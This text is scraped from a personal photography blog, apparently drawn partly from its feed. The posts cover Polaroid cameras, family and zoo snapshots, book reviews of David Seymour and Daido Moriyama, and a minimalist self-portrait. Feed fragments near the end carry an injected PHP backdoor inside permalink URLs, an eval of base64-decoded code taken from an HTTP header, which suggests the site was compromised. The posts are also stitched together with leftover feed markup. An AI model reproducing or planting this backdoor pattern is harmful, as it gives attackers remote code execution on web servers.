The image below is just converted to B&W, the watercolor effect is from the tint on the window that was all bubbled up and peeling. I liked it.

Yes, it’s been a while.

These are what I found.

It’s from the balcony of our hotel room. Our first real family vacation in 6 years.

In the 70’s my parents ended up divorcing. We didn’t have much money, so there usually wasn’t film for the camera. But, I had no shortage of imagination. I can remember many hours playing photographer with that Polaroid Big Shot. Some of those images present themselves in my viewfinders still today. I have many (about 20) Polaroid cameras, but I haven’t found one of these. Ours got lost or thrown out when I was a teen and I kind miss it. You can see one here, http://www.camerapedia.org/wiki/Polaroid_Big_Shot

So last week, I took one of the Polaroid cameras on our family trip to the zoo. This was a source of great entertainment for everyone, especially the people at the zoo. People would stare and you could hear comments like, “I haven’t seen one of those in years” and “do they still make film for that?” My father-in-law laughed and brought up the fact that “it wasn’t very green”. I’ve never had a problem with looking a little odd and this is a “must have” trait for photographers.

I have lots of Polaroid’s of my son and hopefully some day he’ll realize how special that is.  Considering most of the children his age may never see a Polaroid. I truly hope that the Impossible Project and groups like them succeed in saving Polaroid.

This is at an old closed carry-out.

An older one that was on the card, from a faculty outing.

More bathroom stuff.

This is at our new building, my first self portrait there! That’s Mark Cela on the right. His Site

This last one is from the Family Trip to the Zoo. Mmmm, Blurrrr!

David Seymour (chim)

Lately I’ve been reading everything I can get my hands on.  My main focus has been photographers that I’ve wanted to know more about.

The first book I picked up was the book David Seymour (chim) by Tom Beck. In 1947 David Seymour, Robert Capa and Henri Cartier-Bresson co-founded  Magnum Photos, the photography cooperative. I’d known the name, but knew little about the man. This book is a great read and Chim was not only an incredible photographer, but a wonderful caring human being also. If you like Capa or Catier-Bresson, you’ll enjoy Chim’s work as well.

More information is available at Magnum.com

_________________________________________________

DAIDO MORIYAMA

The Second book that I bought is a “work of photographic genius”. Like the other photographer, I knew the name and some of the work. But for some reason, I’d never picked up one of his books. Most photographers have seen some works by Nobuyoshi Araki, Eikoh Hosoe, Shomei Tomatsu, Masahisa Fukase, and Daido Moriyama.

Daido Moriyama is one of the great Japanese photographers and after getting this book, my favorite. His work is like a harder, grittier and darker version of America’s Winogrand or Friedlander. Daido Moriyama’s  images are moody and contrasty, yet they still draw the viewer in. Their darkness seems to welcome you rather than push you away. “Shinjuku 19XX-20XX” is printed beautifully and it comes as a bilingual edition (English and German). Written by Zdenek Felix, he co-wrote the Best of Helmut Newton book. The book is soft bound and has 128 pages.

Here are a couple pages from the book. Daido Moriyama’s work is a little harder to find in the midwest and they don’t have any sample pages on Amazon.

The Daido Moriyama book is available for $26.40 at Amazon.com

The David Seymour book is available for $24.95 at Amazon.com

As some of you may know, the school I teach at is moving. And since we’ll be moving to a new building in about 3 months, we’ve started cleaning early! Yes, I know that sounds really wrong. While cleaning out some shelves, the store manager found some old out dated Polaroid. Being a great guy, he kindly donated it to me (because we don’t teach film anymore, so nobody else wanted it or would use it).

Now since I found out about the move, I’ve been photographing the school as much as I can. So with this newfound Polaroid, I decided to start shooting the old Automatic 250 Land Camera. This was my grandparents and one of the few Polaroid cameras that I haven’t modified into a pinhole camera. The Polaroid is expired and it has shifted a bit, as you can tell. However, it’s still fun to shoot and the smell brings back memories!

]]> http://blackholephoto.com/blog/2009/07/21/the-gift-of-polaroid/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 http://blackholephoto.com/blog/2009/07/19/self-portrait-sunday-16/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blackholephoto.com/blog/2009/07/19/self-portrait-sunday-16/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 20 Jul 2009 00:55:43 +0000 bhp http://blackholephoto.com/blog/?p=644 So here’s looking at you! A little macro self portrait and a little frightening!

So a couple of things have happened in the last few weeks.

First, I’ve had some great discussions’ about photography with a colleague and a few photographers from twitter. Discussing everything from the history of photography to criticizing and critiquing photography. This has caused me to finish a few of the various books and magazines that I kept stacking up for a rainy day.

The second thing to happen was a colleague let me borrow a camera. Now as a rule my favorite camera is the one in my hands and I’m no snob, I’ll shoot with anything film or digital. I’ll write more about the camera, after I’ve put it thru its paces.

So, I’ve got at new (to me) camera and I need something new to shoot! Here is where the whole Minimalism thing comes into play. Like I said I’ve been reading a bunch and apparently the article on minimalism stuck. I say this because as I’m driving to work one morning with this new camera. I find this wonderful lonely lamppost, accompanied by this fantastic sky (imo).

What I took from the article was, clear your head and try to examine your location with new eyes. Make the most out of where you are. If you look, there is always something to shot. This is the image I ended up with.